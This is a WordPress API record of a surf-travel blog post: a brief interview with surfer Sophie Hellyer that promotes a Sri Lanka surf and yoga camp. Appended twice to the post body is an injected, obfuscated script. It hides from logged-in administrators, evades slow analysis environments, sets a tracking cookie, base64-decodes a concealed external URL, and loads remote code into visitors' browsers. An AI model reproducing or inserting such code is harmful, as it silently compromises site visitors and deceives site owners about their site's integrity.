{"id":22875,"date":"2017-10-13T11:46:14","date_gmt":"2017-10-13T11:46:14","guid":{"rendered":"http:\/\/blog.tickettoridegroup.com\/?p=22875"},"modified":"2025-10-17T18:27:55","modified_gmt":"2025-10-17T18:27:55","slug":"lowdown-sophie-hellyer","status":"publish","type":"post","link":"https:\/\/tickettoridegroup.com\/blog\/lowdown-sophie-hellyer\/","title":{"rendered":"The Lowdown &#8211; Sophie Hellyer"},"content":{"rendered":"<p>Sophie Hellyer is a talented surfer who admirably shunned the &#8216;glamorous lifestyle&#8217; that is laid out in front of attractive females with a mean cutback and instead of taking healthy pay cheques from top surf brands to pose facing out to tropical waters in a bikini, spends her time chasing stormy swells in her new home Ireland, running a business and tending to her vegetable garden. <\/p>\n<p>Sophie is an inspiration to all females, surfer or not and therefore I am stoked to have her as an ambassador on the Girls Only Sri Lanka Surf &#038; Yoga Camp.<\/p>\n<p>Here\u2019s a few words with one of Devon&#8217;s finest exports:<\/p>\n<p><strong>Morning routine:<\/strong> 7am wake up, aloe Vera juice, tumeric, b vitamins and green tea. 7.30am sea swim in the toggs, or without depending where I am. 8am sauna yes please. 8.30am yoga and breakfast. 9am off to work at <a href=\"http:\/\/www.thegreenroom.ie\" target=\"_blank\" rel=\"noopener\">The Green Room Lahinch<\/a>.<\/p>\n<p><strong>Guilty pleasure:<\/strong> Napping. I just love sleeping. <\/p>\n<p><strong>Pros and cons of being a girl surfer:<\/strong> Pro: It&#8217;s pretty easy to make friends when travelling, people often seem quite receptive to me as a female in the line up. Con: Limited to zero media coverage. No one wants to photograph women surfing in 5mm wetsuits as most mags would never run the shot. <\/p>\n<p><strong>Top travel hack:<\/strong> Yoga mat, blanket, eye mask, headphones &#038; audio book = a comfy deep sleep anywhere. You&#8217;ll find me napping in the oddest of places.<\/p>\n<p><strong>Favourite wave EVER:<\/strong> I&#8217;d love to return to some of the waves I surfed when I was younger with the skills and confidence I have now, 10 or 15 years later. Would love to go back to Fiji the most. Right now it&#8217;s a left near my home in Clare, I don&#8217;t think I&#8217;ll ever get bored of it. <\/p>\n<p><strong>Best thing about Ireland:<\/strong> The community here is amazing, I&#8217;m surrounded by the most non judgemental supportive men and women, and there&#8217;s a lot of people working on similar environmental and social projects, so my mind is always stimulated.  And the lefts of course. <\/p>\n<p>To <a href=\"https:\/\/www.tickettoridegroup.com\/surf-resorts\/Sri%20Lanka\" target=\"_blank\" rel=\"noopener\">join Sophie in Sri Lanka click here<\/a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sophie Hellyer is a talented surfer who admirably shunned the &#8216;glamorous lifestyle&#8217; that is laid out in front of attractive <a class=\"read-more\" href=\"https:\/\/tickettoridegroup.com\/blog\/lowdown-sophie-hellyer\/\">Read More<\/a><\/p>\n","protected":false},"author":3,"featured_media":22877,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[593,587,849,848],"tags":[],"jetpack_featured_media_url":"https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2017\/10\/21199827_1484133711609301_7463529324691982897_o.jpg","_links":{"self":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts\/22875"}],"collection":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/comments?post=22875"}],"version-history":[{"count":5,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts\/22875\/revisions"}],"predecessor-version":[{"id":28867,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts\/22875\/revisions\/28867"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/media\/22877"}],"wp:attachment":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/media?parent=22875"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/categories?post=22875"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/tags?post=22875"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}